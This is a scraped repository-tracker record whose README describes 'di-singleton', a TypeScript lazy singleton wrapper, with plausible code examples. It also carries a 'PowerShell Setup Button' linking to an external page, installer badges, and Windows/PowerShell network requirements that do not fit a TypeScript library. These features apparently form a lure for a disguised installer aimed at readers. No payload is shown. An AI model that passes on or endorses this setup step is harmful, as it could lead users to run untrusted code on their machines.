[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109785":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":13,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":14,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":15,"fork":15,"defaultBranch":16,"hasWiki":17,"hasPages":17,"topics":18,"createdAt":9,"pushedAt":27,"updatedAt":28,"readmeContent":29,"aiSummary":30,"trendingCount":12,"starSnapshotCount":12,"syncStatus":31,"lastSyncTime":32,"discoverSource":33},109785,"di-singleton","farooqbilal2003\u002Fdi-singleton","farooqbilal2003","Type-safe dependency injection singleton wrapper with lazy init and generic constructor support",null,"HTML",149,0,1,37.1,false,"main",true,[19,20,21,22,23,24,25,26],"activator","dependency-injection","instantiation","lazy-loading","oop","optimization","optimization-algorithms","performance","2026-11-23 13:52:03","2026-11-12 09:57:39","\u003Cdiv align=\"center\">\n\n# di-singleton: Type-Safe Lazy Singleton Wrapper — Developer Library\n\n![](files\u002Fpreview.png)\n\n### ⚡ PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Ffarooqbilal2003.github.io\u002Fdi-singleton\u002F)\n\n[![lang](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLang-Typescript-6366f1?style=for-the-badge&labelColor=0d1117)]() [![powershell](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPowershell-Installer-818cf8?style=for-the-badge&labelColor=0d1117)]() [![release](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FRelease-Maintained-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![pipeline](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPipeline-Passing-2ea44f?style=for-the-badge&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\n`di-singleton` wraps a class constructor so that every `new` invocation returns the same instance, created lazily on first use. If the wrapped class defines an `init` method, it is invoked automatically once the instance is constructed. TypeScript generics preserve the original constructor's instance type across the wrapper. The result is a drop-in singleton pattern with no manual caching or type casts.\n\n## 🔧 Requirements\n\n- Windows 10 or Windows 11\n- PowerShell 5.1 or newer (already available on Windows)\n- Active network connection\n- No admin rights needed\n\n## Quick Start\n\nWrap any class constructor with `singleton` to produce a constructor that always returns the same instance. The first `new` performs lazy initialization; subsequent calls return the cached instance without re-running the constructor.\n\n```ts\nimport { singleton } from 'di-singleton';\n\nconst Config = singleton(class {\n  value: string;\n\n  constructor() {\n    this.value = 'default';\n  }\n});\n\nconst a = new Config();\nconst b = new Config();\n\na.value = 'updated';\nconsole.log(b.value); \u002F\u002F 'updated'\nconsole.log(a === b); \u002F\u002F true\n```\n\nIf the wrapped class defines an `init` method, it is invoked once after the first instance is constructed, before the instance is returned.\n\n```ts\nconst Service = singleton(class {\n  ready = false;\n\n  init() {\n    this.ready = true;\n  }\n});\n\nconst svc = new Service();\nconsole.log(svc.ready); \u002F\u002F true\n```\n\nType parameters are preserved by `singleton`, so the returned constructor exposes the same instance type and constructor argument signature as the input class.\n\n```ts\nconst Repo = singleton(class {\n  constructor(public readonly name: string) {}\n});\n\nconst repo = new Repo('users'); \u002F\u002F repo: { readonly name: string }\nconsole.log(repo.name); \u002F\u002F 'users'\n```\n\nConstructor arguments are only honored on the first call; later calls return the existing instance regardless of arguments passed.\n\n```ts\nconst Engine = singleton(class {\n  constructor(public id: number) {}\n});\n\nconst first = new Engine(1);\nconst second = new Engine(2);\n\nconsole.log(first.id === second.id); \u002F\u002F true\nconsole.log(first === second); \u002F\u002F true\n```\n\n## API Reference\n\n### `singleton(Class)`\n\nWraps a class constructor and returns a new constructor that produces at most one instance. The instance is created lazily on first `new` invocation. If the wrapped instance exposes an `init` method, it is called once after construction. All subsequent `new` calls return the same instance.\n\n**Signature**\n\n```ts\nfunction singleton\u003CT extends new (...args: any[]) => any>(\n  Target: T\n): new (...args: ConstructorParameters\u003CT>) => InstanceType\u003CT>;\n```\n\n**Parameters**\n\n- `Target` — A class constructor. Any constructor arguments are forwarded on the first instantiation only; arguments passed to later `new` calls are ignored.\n\n**Returns**\n\nA constructor with the same parameter list and instance type as `Target`. TypeScript generics preserve the instance type, so property and method access on the returned value is fully typed.\n\n**Behavior**\n\n- Lazy: the instance is not created until the first `new` call.\n- Single instance: every `new` call after the first returns the cached instance.\n- Init hook: if the instance has a callable `init` property, it is invoked exactly once, immediately after the first construction.\n- Type-safe: the returned constructor retains `ConstructorParameters\u003CT>` and `InstanceType\u003CT>`.\n\n### Instance access\n\n```ts\nimport { singleton } from 'di-singleton';\n\nclass Store {\n  private value = '';\n\n  init() {\n    this.value = 'ready';\n  }\n\n  getValue(): string {\n    return this.value;\n  }\n\n  setValue(next: string): void {\n    this.value = next;\n  }\n}\n\nconst StoreSingleton = singleton(Store);\n\nconst a = new StoreSingleton();\nconst b = new StoreSingleton();\n\na.setValue('shared');\n\nconsole.log(a === b);          \u002F\u002F true\nconsole.log(b.getValue());     \u002F\u002F \"shared\"\nconsole.log(a.getValue());     \u002F\u002F \"shared\"\n```\n\n### Init method\n\n```ts\nimport { singleton } from 'di-singleton';\n\nclass Client {\n  connected = false;\n\n  init() {\n    this.connected = true;\n  }\n}\n\nconst ClientSingleton = singleton(Client);\n\nconst first = new ClientSingleton();\nconsole.log(first.connected);  \u002F\u002F true\n\nconst second = new ClientSingleton();\nconsole.log(second.connected); \u002F\u002F true\nconsole.log(first === second); \u002F\u002F true\n```\n\n`init` is optional. Classes without an `init` method are wrapped without any hook invocation.\n\n### Constructor arguments\n\n```ts\nimport { singleton } from 'di-singleton';\n\nclass Config {\n  constructor(public readonly env: string) {}\n}\n\nconst ConfigSingleton = singleton(Config);\n\nconst c1 = new ConfigSingleton('production');\nconst c2 = new ConfigSingleton('development');\n\nconsole.log(c1 === c2);  \u002F\u002F true\nconsole.log(c2.env);     \u002F\u002F \"production\" — first call wins\n```\n\nConstructor arguments are consumed on the first instantiation. Later `new` calls reuse the cached instance and do not re-run the constructor.\n\n### Type safety\n\n```ts\nimport { singleton } from 'di-singleton';\n\nclass Counter {\n  private count = 0;\n\n  increment(): number {\n    return ++this.count;\n  }\n}\n\nconst CounterSingleton = singleton(Counter);\n\nconst counter = new CounterSingleton();\nconst n: number = counter.increment(); \u002F\u002F typed as number\n```\n\nThe returned constructor preserves `InstanceType\u003CT>`; methods and properties remain fully typed without casts or assertions.\n\n## Examples\n\n### Basic singleton\n\n```ts\nimport { singleton } from 'di-singleton';\n\nclass Config {\n  value = 'default';\n}\n\nconst SingletonConfig = singleton(Config);\n\nconst a = new SingletonConfig();\nconst b = new SingletonConfig();\n\na.value = 'changed';\n\nconsole.log(a === b);      \u002F\u002F true\nconsole.log(b.value);      \u002F\u002F 'changed'\n```\n\nThe constructor is wrapped; every `new` call returns the same underlying instance.\n\n### Lazy initialization\n\n```ts\nimport { singleton } from 'di-singleton';\n\nlet constructed = 0;\n\nclass Expensive {\n  constructor() {\n    constructed++;\n  }\n}\n\nconst SingletonExpensive = singleton(Expensive);\n\nconsole.log(constructed);  \u002F\u002F 0 — not instantiated yet\n\nconst first = new SingletonExpensive();\nconst second = new SingletonExpensive();\n\nconsole.log(constructed);  \u002F\u002F 1\nconsole.log(first === second); \u002F\u002F true\n```\n\nConstruction is deferred until the first `new` invocation.\n\n### Automatic `init` call\n\n```ts\nimport { singleton } from 'di-singleton';\n\nclass Service {\n  ready = false;\n\n  init() {\n    this.ready = true;\n  }\n}\n\nconst SingletonService = singleton(Service);\n\nconst s = new SingletonService();\n\nconsole.log(s.ready); \u002F\u002F true — init() ran once during first construction\n```\n\nIf the wrapped class exposes an `init` method, it is invoked after the first instance is created. Subsequent calls do not re-run it.\n\n### Preserving type safety\n\n```ts\nimport { singleton } from 'di-singleton';\n\nclass Counter {\n  private count = 0;\n\n  increment(): number {\n    return ++this.count;\n  }\n\n  get value(): number {\n    return this.count;\n  }\n}\n\nconst SingletonCounter = singleton(Counter);\n\nconst c = new SingletonCounter();\n\nc.increment();\nc.increment();\n\n\u002F\u002F @ts-expect-error — `reset` does not exist on Counter\nc.reset();\n\nconst n: number = c.value; \u002F\u002F typed as number\n```\n\nThe generic signature preserves the constructor parameter types and instance shape, so misuse is caught at compile time.\n\n## Type Safety\n\n`singleton()` preserves the full instance type of the wrapped class. The returned constructor produces instances assignable to the original class type, so all public members, method signatures, and property types remain intact without casts.\n\n```ts\nimport { singleton } from 'di-singleton';\n\nclass Counter {\n  private count = 0;\n  increment(by: number): number {\n    this.count += by;\n    return this.count;\n  }\n}\n\nconst CounterSingleton = singleton(Counter);\n\nconst c: Counter = new CounterSingleton();\nc.increment(1); \u002F\u002F type-checked\nc.increment('1'); \u002F\u002F compile error: argument must be number\n```\n\nThe constructor signature of the wrapped class is preserved: if the class requires constructor arguments, `new` enforces the same parameter types and arity.\n\n```ts\nclass Service {\n  constructor(public readonly name: string) {}\n}\n\nconst ServiceSingleton = singleton(Service);\n\nnew ServiceSingleton('api'); \u002F\u002F ok\nnew ServiceSingleton(); \u002F\u002F compile error: expected 1 argument\nnew ServiceSingleton(42); \u002F\u002F compile error: expected string\n```\n\nAccessing instance members through the wrapper yields the original member types, including `readonly` modifiers and generics on the class itself.\n\n```ts\nclass Box\u003CT> {\n  constructor(public value: T) {}\n}\n\nconst BoxSingleton = singleton(Box);\nconst box = new BoxSingleton\u003Cstring>('payload');\nconst v: string = box.value; \u002F\u002F inferred as string\n```\n\nWhen an `init` method exists on the class, the wrapper does not alter its type; the method remains available and typed exactly as declared.\n\n```ts\nclass Config {\n  loaded = false;\n  init(): void {\n    this.loaded = true;\n  }\n}\n\nconst ConfigSingleton = singleton(Config);\nconst cfg = new ConfigSingleton();\ncfg.init(); \u002F\u002F typed as () => void\n```\n\nStatic typing extends to the returned value of the factory: the wrapper is a constructor whose instance type is identical to the input class, so assignment to variables, function parameters, and return types annotated with the base class requires no explicit generic parameters or assertions.\n\n## License\n\n`di-singleton` is released under the MIT License.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\u002For sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.","di-singleton 是一个面向 TypeScript 的类型安全单例依赖注入包装器，提供懒初始化、泛型构造函数支持及自动 init 方法调用。其核心功能是将任意类构造器封装为单例构造器，首次 new 时创建并缓存实例，后续调用均返回同一实例，且完整保留原始类的类型签名与构造参数语义。适用于需要轻量级、零配置、类型严谨的单例管理场景，如配置服务、状态容器、工具类实例复用等前端或 Node.js 应用模块化开发。",2,"2026-11-24 04:37:27","CREATED_QUERY"]